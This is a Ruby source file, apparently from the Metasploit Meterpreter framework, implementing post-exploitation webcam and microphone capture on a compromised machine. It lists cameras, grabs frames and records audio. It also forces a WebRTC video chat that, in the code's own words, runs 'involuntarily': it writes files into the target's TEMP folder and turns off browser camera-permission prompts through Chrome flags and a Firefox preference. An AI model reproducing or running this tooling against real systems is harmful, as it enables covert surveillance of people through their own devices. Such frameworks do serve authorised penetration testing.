# -*- coding: binary -*-

module Rex
module Post
module Meterpreter
module Extensions
module Stdapi
module Webcam

###
#
# This meterpreter extension can list and capture from webcams and/or microphone
#
###
class Webcam
  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Post::WebRTC

  def initialize(client)
    @client = client
  end

  def session
    @client
  end

  def webcam_list
    response = client.send_request(Packet.create_request(COMMAND_ID_STDAPI_WEBCAM_LIST))
    names = []
    response.get_tlvs(TLV_TYPE_WEBCAM_NAME).each do |tlv|
      names << tlv.value
    end
    names
  end

  # Starts recording video from video source of index +cam+
  def webcam_start(cam)
    request = Packet.create_request(COMMAND_ID_STDAPI_WEBCAM_START)
    request.add_tlv(TLV_TYPE_WEBCAM_INTERFACE_ID, cam)
    client.send_request(request)
    true
  end

  def webcam_get_frame(quality)
    request = Packet.create_request(COMMAND_ID_STDAPI_WEBCAM_GET_FRAME)
    request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality)
    response = client.send_request(request)
    response.get_tlv(TLV_TYPE_WEBCAM_IMAGE).value
  end

  def webcam_stop
    client.send_request(Packet.create_request(COMMAND_ID_STDAPI_WEBCAM_STOP))
    true
  end

  #
  # Starts a webcam session with a remote user via WebRTC
  #
  # @param server [String] A server to use for the channel.
  # @return void
  #
  def webcam_chat(server)
    offerer_id = Rex::Text.rand_text_alphanumeric(10)
    channel    = Rex::Text.rand_text_alphanumeric(20)

    remote_browser_path = webrtc_browser_path

    if remote_browser_path.to_s.strip.empty?
      fail "Unable to find a suitable browser on the target machine"
    end

    init_video_chat(remote_browser_path, server, channel, offerer_id)
    connect_video_chat(server, channel, offerer_id)
  end

  # Record from default audio source for +duration+ seconds;
  # returns a low-quality wav file
  def record_mic(duration)
    request = Packet.create_request(COMMAND_ID_STDAPI_WEBCAM_AUDIO_RECORD)
    request.add_tlv(TLV_TYPE_AUDIO_DURATION, duration)
    response = client.send_request(request)
    response.get_tlv(TLV_TYPE_AUDIO_DATA).value
  end

  attr_accessor :client

  private

  #
  # Returns a browser path that supports WebRTC
  #
  # @return [String]
  #
  def webrtc_browser_path
    found_browser_path = ''

    case client.platform
    when /win/
      paths = [
        "%ProgramFiles(x86)%\\Google\\Chrome\\Application\\chrome.exe",
        "%ProgramFiles%\\Google\\Chrome\\Application\\chrome.exe",
        "%ProgramW6432%\\Google\\Chrome\\Application\\chrome.exe",
        "%ProgramFiles(x86)%\\Mozilla Firefox\\firefox.exe",
        "%ProgramFiles%\\Mozilla Firefox\\firefox.exe",
        "%ProgramW6432%\\Mozilla Firefox\\firefox.exe"
      ]

      # Old chrome path
      user_profile = client.sys.config.getenv("USERPROFILE")
      paths << "#{user_profile}\\Local Settings\\Application Data\\Google\\Chrome\\Application\\chrome.exe"

      paths.each do |browser_path|
        if file?(browser_path)
          found_browser_path = browser_path
          break
        end
      end

    when /osx|bsd/
      [
        '/Applications/Google Chrome.app',
        '/Applications/Firefox.app'
      ].each do |browser_path|
        if file?(browser_path)
          found_browser_path = browser_path
          break
        end
      end
    when /linux|unix/
      # Need to add support for Linux in the future.
      # But you see, the Linux meterpreter is so broken there is no point
      # to do it now. You can't test anyway.
    end

    found_browser_path
  end

  #
  # Creates a video chat session as an offerer... involuntarily :-p
  # Windows targets only.
  #
  # @param remote_browser_path [String] A browser path that supports WebRTC on the target machine
  # @param offerer_id [String] A ID that the answerer can look for and join
  #
  def init_video_chat(remote_browser_path, server, channel, offerer_id)
    interface = load_interface('offerer.html')
    api       = load_api_code

    interface = interface.gsub(/\=SERVER\=/, server)
    interface = interface.gsub(/\=CHANNEL\=/, channel)
    interface = interface.gsub(/\=OFFERERID\=/, offerer_id)

    tmp_dir = session.sys.config.getenv("TEMP")

    begin
      write_file("#{tmp_dir}\\interface.html", interface)
      write_file("#{tmp_dir}\\api.js", api)
    rescue RuntimeError => e
      elog('webcam_chat failed', error: e)
      raise "Unable to initialize the interface on the target machine"
    end

    #
    # Automatically allow the webcam to run on the target machine
    #
    args = ''
    if remote_browser_path =~ /Chrome/
      args = "--allow-file-access-from-files --use-fake-ui-for-media-stream"
    elsif remote_browser_path =~ /Firefox/
      profile_name = Rex::Text.rand_text_alpha(8)
      o = cmd_exec("#{remote_browser_path} --CreateProfile #{profile_name} #{tmp_dir}\\#{profile_name}")
      profile_path = (o.scan(/created profile '.+' at '(.+)'/).flatten[0] || '').strip
      setting = %|user_pref("media.navigator.permission.disabled", true);|
      begin
        write_file(profile_path, setting)
      rescue RuntimeError => e
        elog('webcam_chat failed', error: e)
        raise "Unable to write the necessary setting for Firefox."
      end
      args = "-p #{profile_name}"
    end

    exec_opts = { 'Hidden' => false, 'Channelized' => false }

    begin
      session.sys.process.execute(remote_browser_path, "#{args} #{tmp_dir}\\interface.html", exec_opts)
    rescue RuntimeError => e
      elog('webcam_chat failed', error: e)
      raise "Unable to start the remote browser: #{e.message}"
    end
  end
end
end
end
end
end
end
end
